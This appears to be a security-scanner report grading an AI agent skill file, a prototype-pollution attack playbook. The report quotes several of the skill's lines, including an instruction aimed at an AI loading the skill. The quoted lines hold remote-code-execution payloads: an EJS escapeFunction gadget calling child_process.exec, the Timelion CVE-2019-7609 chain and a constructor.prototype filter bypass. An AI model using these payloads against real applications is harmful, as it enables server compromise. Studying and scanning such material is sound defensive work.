prototype-pollution
https://raw.githubusercontent.com/yaklang/hack-skills/main/skills/prototype-pollution/SKILL.md
github.com/yaklang/hack-skills
Scanned Thu, 28 May 2026 17:26:29 GMT
Scan ID crawl-oefucgnaw9p2qvgqq2l9xn36 · 1ms
B
SCORE 75 / 100
Verdict: Safe to install

5 medium findings.

This skill spawns subprocesses outside its declared capabilities plus 4 other issues listed below.

0 critical0 high5 medium7 rules passed

Why grade B?

score · 75 / 100

The current grade reflects 5 medium findings (3+ MEDs → B).

0 CRIT0 HIGH5 MED0 LOW
To reach a higher grade
  • A
    Reach Atarget score 95

    Resolve 3 of 5 MED (cap is 2).

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Findings · ordered by severity

med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 12CWE-78
▾
10# SKILL: Prototype Pollution — Expert Attack Playbook
11
12> **AI LOAD INSTRUCTION**: Expert prototype pollution for client and server JS. Covers `__proto__` vs `constructor.prototype`, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on **parser behavior** and **post-pollution sinks**.← spawns a subprocess outside declared capabilities
13
14Routing note: prioritize PP when you see deep merges, recursive assign, `JSON.parse` followed by `Object.assign`, or URL queries converted to nested objects.
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 127CWE-78
▾
125| Target / scenario | Payload or pattern | Notes |
126|-------------|------------|------|
127| **EJS** | `{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}` | If template engine options like `escapeFunction` are read from polluted prototype, this may lead to RCE; strongly version/config dependent |← spawns a subprocess outside declared capabilities
128| **Timelion expression chain (CVE-2019-7609)** | `.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')` | Historical chain: prototype pollution + timeline expression execution; useful to understand **expression + PP** combinations |
129| **Node `child_process`** | Pollute `shell`, `argv0`, `env`, `NODE_OPTIONS`, etc. (merged into `exec`/`fork` option objects) | Depends on whether later code calls `spawn`/`fork` and reads options from prototype chain |
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 128CWE-78
▾
126|-------------|------------|------|
127| **EJS** | `{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}` | If template engine options like `escapeFunction` are read from polluted prototype, this may lead to RCE; strongly version/config dependent |
128| **Timelion expression chain (CVE-2019-7609)** | `.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')` | Historical chain: prototype pollution + timeline expression execution; useful to understand **expression + PP** combinations |← spawns a subprocess outside declared capabilities
129| **Node `child_process`** | Pollute `shell`, `argv0`, `env`, `NODE_OPTIONS`, etc. (merged into `exec`/`fork` option objects) | Depends on whether later code calls `spawn`/`fork` and reads options from prototype chain |
130| **Generic constructor path** | `{"constructor":{"prototype":{"foo":"bar"}}}` | Bypasses weak validation that filters only the `__proto__` key |
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 129CWE-78
▾
127| **EJS** | `{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}` | If template engine options like `escapeFunction` are read from polluted prototype, this may lead to RCE; strongly version/config dependent |
128| **Timelion expression chain (CVE-2019-7609)** | `.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')` | Historical chain: prototype pollution + timeline expression execution; useful to understand **expression + PP** combinations |
129| **Node `child_process`** | Pollute `shell`, `argv0`, `env`, `NODE_OPTIONS`, etc. (merged into `exec`/`fork` option objects) | Depends on whether later code calls `spawn`/`fork` and reads options from prototype chain |← spawns a subprocess outside declared capabilities
130| **Generic constructor path** | `{"constructor":{"prototype":{"foo":"bar"}}}` | Bypasses weak validation that filters only the `__proto__` key |
131
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
▾
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